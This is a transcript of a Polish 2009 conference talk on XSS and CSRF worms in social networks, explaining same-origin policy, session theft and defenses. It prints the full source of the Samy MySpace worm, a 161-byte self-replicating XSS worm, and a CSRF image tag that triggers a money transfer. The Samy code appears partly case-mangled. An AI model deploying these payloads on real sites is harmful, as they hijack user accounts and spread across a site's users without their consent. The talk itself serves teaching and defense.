Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0

Podobne dokumenty
Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0

Drobne błędy w portalach WWW

The OWASP Foundation Session Management. Sławomir Rozbicki.

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF

Bezpieczeństwo aplikacji internetowych

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

Robaki sieciowe. + systemy IDS/IPS

z testów penetracyjnych

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP The OWASP Foundation

Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Bazy danych i usługi sieciowe

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Agenda. Quo vadis, security? Artur Maj, Prevenity

ATAKI TYPU CROSS-SITE SCRIPTING

Bezpieczeństwo systemów komputerowych

Program szkolenia: Bezpieczny kod - podstawy

Programowanie w Internecie

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

FRONT-END SECURITY SZYMON GRZYBOWSKI NSENSE POLSKA S.A.

I.Wojnicki, Tech.Inter.

TIN Techniki Internetowe zima

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Projektowani Systemów Inf.

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Połączenie VPN aplikacji SSL. 1. Konfiguracja serwera VPN 1.1. Ustawienia ogólne 1.2. Profile aplikacji SSL 1.3. Konto SSL 1.4. Grupa użytkowników

Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP The OWASP Foundation

Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

Cookie Policy. 1. Informacje ogólne.

I.Wojnicki, PHP. PHP PHP Hypertext Preprocessor. Igor Wojnicki. Ktedra Informatyki Stosowanej Akademia Górniczo-Hutnicza w Krakowie.

Złośliwe oprogramowanie Sandrorat (podszywające się pod oprogramowanie Kaspersky) na platformę Android WYNIKI ANALIZY

Sprawozdanie Laboratorium 4

Badania poziomu bezpieczeństwa portalu dostępowego do infrastruktury projektu PL-Grid

Aplikacje webowe z wykorzystaniem Node.js oraz Express

POLITYKA PLIKÓW COOKIES

Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Dokumentacja techniczna. Młodzieżowe Pośrednictwo Pracy

Marcin Szeliga Sieć

Aspekty bezpieczeństwa aplikacji internetowych

Aplikacje webowe na celowniku. Leszek Miś IT Security Architect RHCA,RHCSS,Sec+ Linux Polska Sp. z o.o. 1

OWASP. The Open Web Application Security Project. OWASP Top rc1. Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach

Połączenie VPN SSL Web Proxy. 1. Konfiguracja serwera VPN 1.1. Ustawienia ogólne 1.2. Profile SSL Web Proxy 1.3. Konto SSL 1.4. Grupa użytkowników

Administratorzy kontrolują systemy IT, a kto kontroluje administratorów?

TCP/IP. Warstwa aplikacji. mgr inż. Krzysztof Szałajko

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

4 Web Forms i ASP.NET Web Forms Programowanie Web Forms Możliwości Web Forms Przetwarzanie Web Forms...152

Wybrane działy Informatyki Stosowanej

POLITYKA PRYWATNOŚCI RESTAURANT WEEK S.C.

Windows Serwer 2008 R2. Moduł x. IIS

Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych

SIP Studia Podyplomowe Ćwiczenie laboratoryjne Instrukcja

Content Security Policy jako ochrona przed skutkami ataków XSS.

Wybrane działy Informatyki Stosowanej

Zdalne logowanie do serwerów

Aplikacje internetowe Przegl¹d zagro eñ

Ślady w sieci. Piotr Kucharski. Społeczeństwo informacyjne, Szkoła Główna Handlowa indeks Logi. Zagrożenia i ucieczki Podsumowanie

Serwis realizuje funkcje pozyskiwania informacji o użytkownikach i ich zachowaniach w następujący sposób:

Programowanie komponentowe. Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

POLITYKA PRYWATNOŚCI ORAZ POLITYKA PLIKÓW COOKIES W Sowa finanse

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

PROJEKT ARAKIS DOŚWIADCZENIA Z OBSERWACJI ZAGROŻEŃ W SIECI Tomasz Grudziecki (CERT Polska / NASK)

'Dajcie mi rząd dusz, a będę rządził światem...' Botnet z punktu widzenia administratora sieci. Borys Łącki

Wybrane działy Informatyki Stosowanej

Marek Krauze

Od assemblera do html5

LUKI BEZPIECZEŃSTWA W APLIKACJACH INTERNETOWYCH. Waldemar Korłub. Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska

Podstawy bezpieczeństwa

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Dostęp zdalny

SEO Audyt. Podsumowanie. 51/100 punktów. Masz 11 rzeczy, które możesz poprawić! Uzyskany wynik: Data przeprowadzenia: :33:47

Laboratorium 1 Wprowadzenie do PHP

Czym jest AJAX. AJAX wprowadzenie. Obiekt XMLHttpRequest (XHR) Niezbędne narzędzia. Standardowy XHR. XHR z obsługą baz danych

Polityka prywatności serwisu

Polityka prywatności w serwisie internetowym IPN

Szczegółowy opis zamówienia:

Testy penetracyjne webaplikacji.

Geek's Night / /dev/urandom. gynvael.coldwind//vx, Hispasec

Cemarol Sp. z o.o. Polityka prywatności (pliki cookies) 1. Informacje ogólne.

9. System wykrywania i blokowania włamań ASQ (IPS)

ZALECENIA DLA MIGRACJI NS-BSD V8 => V9

ROZEZNANIE RYNKU. dotyczące opracowania i utworzenia strony internetowej Instytutu Włókiennictwa

Poznaj ASP.NET MVC. Kamil Cieślak Microsoft Student Partner

Wykład 6: Bezpieczeństwo w sieci. A. Kisiel, Bezpieczeństwo w sieci

Transkrypt:

Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0 2009.03.13 / Pingwinaria Borys Łącki 1

2

2007: ilość ruchu WWW przekroczyła ilość ruchu P2P 3

Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych 4

Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalność (logika biznesowa) Serwer Baz Danych 5

Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Nowa funkcjonalność Serwer Baz Danych 6

Robak komputerowy samoreplikujący się program komputerowy... XSS/CSRF WORM!= Blaster, Sasser, Mydoom, Slammer. 7

Same origin policy Protokół + host + port = OK URL Protokół Host Port? http://www.example.com/dir/page.html + + + OK http://www.example.com/dir2/other.html + + + OK http://www.example.com:81/dir2/other.html + + https://www.example.com/dir2/other.html + + http://en.example.com/dir2/other.html + + http://example.com/dir2/other.html + + http://v2.www.example.com/dir2/other.html + + http://www.example.com/dir/page.html 8

Same origin policy Cookies Pingwin=1 Java pingwinaria Script.linux.org.pl Klasa=4b Java Script Użytkownik naszaklasa.pl 9

Same origin policy Cookies Pingwin=1 Java pingwinaria Script.linux.org.pl Klasa=4b Java Script Użytkownik naszaklasa.pl 10

XSS Cross Site Scripting - zagrożenia Zmiana treści Kradzież ID sesji CSRF Automatyczne robaki 11

XSS zmiana treści 12

Cookies - uwierzytelnianie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user 13

Cookies - uwierzytelnianie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Intruz Witaj user 14

XSS Cross Site Scripting GET /index.php?id= <script> </script> Serwer Aplikacja WWW 1 2 <script> </script> GET /index.php?... Użytkownik <script> </script> exec( ) Intruz 3 Baza danych Dane dostępne w kontekście użytkownika 4 Reflective XSS 15

XSS Cross Site Scripting Serwer POST /register.php opis=<script> </script> Aplikacja WWW 1 2 <script> </script> GET /index.php Użytkownik <script> </script> exec( ) Intruz 3 Baza danych 4 Dane dostępne w kontekście użytkownika Permanent XSS 16

XSS Cross Site Scripting - obrona Kontrolować dane Filtrować dane od oraz do użytkownika Spójność (IDS, Firewall, aplikacja) Dogłębność (...//../), UTF-7 Białe i czarne listy Powiązać ID sesji z IP? Żądać powtórnego uwierzytelnienia 17

CSRF Cross Site Request Forgery <img src= http://nasza-klasa.pl/invite/1?i=1 > 18

CSRF Cross Site Request Forgery http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666 Serwer 1 Aplikacja WWW 2 GET /do.php?akcja=transfer &na=kontoborysa&ile=666 przelew borys 666 Intruz Cookie: user_id=734223s8uod42 Użytkownik Transakcja wykonana 3 <img src= http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666 > http://www.davidairey.co.uk/ 19

CSRF Cross Site Request Forgery - obrona Brak błędów XSS Token Wymaganie ponownej autoryzacji przy kluczowych operacjach 20

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS Intruz User_1 User_2 21

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> User_1 Zapisuje XSS w swoim profilu exec( ) Intruz XSS User_2 22

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> User_2 User_1 Zapisuje XSS w swoim profilu XSS exec( ) Intruz GET /user1/ HTTP/1.1 <script> </script> User_2 XSS Zapisuje XSS w swoim profilu exec( ) 23

XSS - Statystyka "XSS is the New Buffer Overflow, JavaScript Malware is the New Shell Code" 67 % - WhiteHat Security (2008) CVE - 1 miejsce (2008) xssed.com 30 324 total xss (2008) 60 % - NTA Monitor (2007).pl - serwisy aukcyjne, bankowe, społecznościowe :] 24

XSS Samy worm Kto: Samy Kamkar Gdzie: Myspace.com Kiedy: 04.10.2005 Co: "but most of all, Samy is my hero" 25

XSS Samy worm Ilość zainfekowanych użytkowników 13 godzin = 6,373 Godziny od momentu infekcji 26

XSS Samy worm Ilość zainfekowanych użytkowników 18 godzin > 1 000 000 (!!!) Godziny od momentu infekcji 27

Samy Worm - Czy rozmiar ma znaczenie? <div id=mycode style="style="background: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rhtml')}}function getdata(au){m=getfromurl(au,'friendid');l=getfromurl(au,'mytoken')}function getqueryparams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') document.location=' http://www.myspace.com'+location.pathname+location.search}else{if(!m){getdata(g())}main()}function getclientfid(){return findin(g(),'up_launchic( '+A,A)} function nothing(){}function paramstostring(av){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpsend(bh,bi,bj,bk){if(!j){return false}eval('j.onr'+'eadystatechange=bi');j.open(bj,bh,true);if(bj=='post'){j.setrequestheader('content-type','application/x-www-formurlencoded');j.setrequestheader('content-length',bk.length)}j.send(bk);return true}function findin(bf,bb,bc){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function gethiddenparameter(bf,bg){return findin(bf,'name='+b+bg+b+' value='+b,b)}function getfromurl(bf,bg){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024); var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getxmlobj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.activexobject){try{z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE) but most of all, samy is my hero {AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF='. <d'+'iv id='+ae+'d'+'iv>'}var AG;function gethome(){if(j.readystate!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length); if(ag.indexof('samy')==-1){if(af){ag+=af;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes'; AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function posthero(){if(j.readystate!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processinterests&mytoken='+ar,nothing,'post',paramstostring(as))}function main(){var AN=getClientFID();var BH='/index.cfm? fuseaction=user.viewprofile&friendid='+an+'&mytoken='+l;j=getxmlobj();httpsend(bh,gethome,'get');xmlhttp2=getxmlobj();httpsend2('/index.cfm? fuseaction=invite.addfriend_verify&friendid=11851658&mytoken='+l,processxform,'get')}function processxform(){if(xmlhttp2.readystate!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addfriendsprocess&mytoken='+ar,nothing,'post',paramstostring(as))}function httpsend2(bh,bi,bj,bk){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=bi');xmlhttp2.open(bj,bh,true);if(bj=='post'){xmlhttp2.setrequestheader('content-type','application/x-www-formurlencoded');xmlhttp2.setrequestheader('content-length',bk.length)}xmlhttp2.send(bk);return true}"></div> 28

Samy Worm - Rozmiar nie ma znaczenia... Diminutive XSS Worm Replication Contest 161 bajtów!!! <form><input name="content"><img src="" onerror= "with(parentnode)alert('xss',submit(content.value='<form>' +innerhtml.slice(action=(method='post')+'.php',155)))"> 29

Worm, worm, yes ya gonna worm Libero.it, Tiscali.it, Lycos.it, Excite.com - Nduja Yahoo - Yamanner Orkut (x2) - xmen hi5.com badoo.com myspace.com (02.02.2009) Gaiaonline.com (1500 osób / 3 h) justin.tv (2525 osób / 24 h) MyYearbook.com U-dominion.com 30 xiaonei.com

Nasza-Klasa.pl Znajomi: 291 Aktywni znajomi: 238 Średnia: 254 * 5 / 60 = 21 godzin Rekordzista: 1891 * 5 / 60 = 157 godzin 31

Nasza-Klasa.pl 2008.09 Ilość aktywnych znajomych 32

wykop.pl - CSRF 33

wykop.pl - CSRF 34

wykop.pl - CSRF 35

wykop.pl - CSRF Ilość wykopów Godzina 36

Zagrożenia Manipulacja i dostęp do danych SPAM Ad. Fraud DDoS 0 day bug po stronie klienta Zabawa? 37

Jak się zabezpieczyć Kontrola wejściowych i wyjściowych danych Hardening konfiguracji serwera WWW Web Application Firewall (mod_security? :) Nie ufać filtrom po stronie użytkownika Bilansować koszty z zyskami Bezpieczna przeglądarka Korzystać z pomocy specjalistów ;] 38

Jak się zabezpieczyć $cena = (int) $cena; htmlspecialchars, mysql_real_escape_string, addslashes, magic_quotes(!), filter_var_array Anti-XSS Library, JavaScriptEncode, HtmlEncode, UrlEncode, HtmlAttributeEncode Cookie: secure, httponly, domain, path PHPIDS, csrf-magic, HTML Purifier, AntiSamy, CSRFGuard 39

Linki http://bothunters.pl http://namb.la/popular/ http://en.wikipedia.org/wiki/samy_worm http://blogs.zdnet.com/security/?p=1487 http://www.heise-online.pl/security/luka-na-stronie-banku-umozliwia-nieautoryzowane-przelewy--/news/5927 http://www.slideshare.net/jeremiahgrossman/website-security-statistics-august-2008-presentation?type=powerpoint http://pl.wikipedia.org/wiki/robak_komputerowy http://sla.ckers.org/forum/read.php?2,18790,18790 40

Linki http://www.owasp.org/index.php/csrf_guard http://www.owasp.org/index.php/category:owasp_antisamy_project http://csrf.htmlpurifier.org/ http://htmlpurifier.org/ http://www.xssed.com http://sla.ckers.org/forum/read.php?2,14477 http://web.nvd.nist.gov/view/vuln/search?execution=e1s1 41

Pytania Dziękuję za uwagę b.lacki@logicaltrust.net 42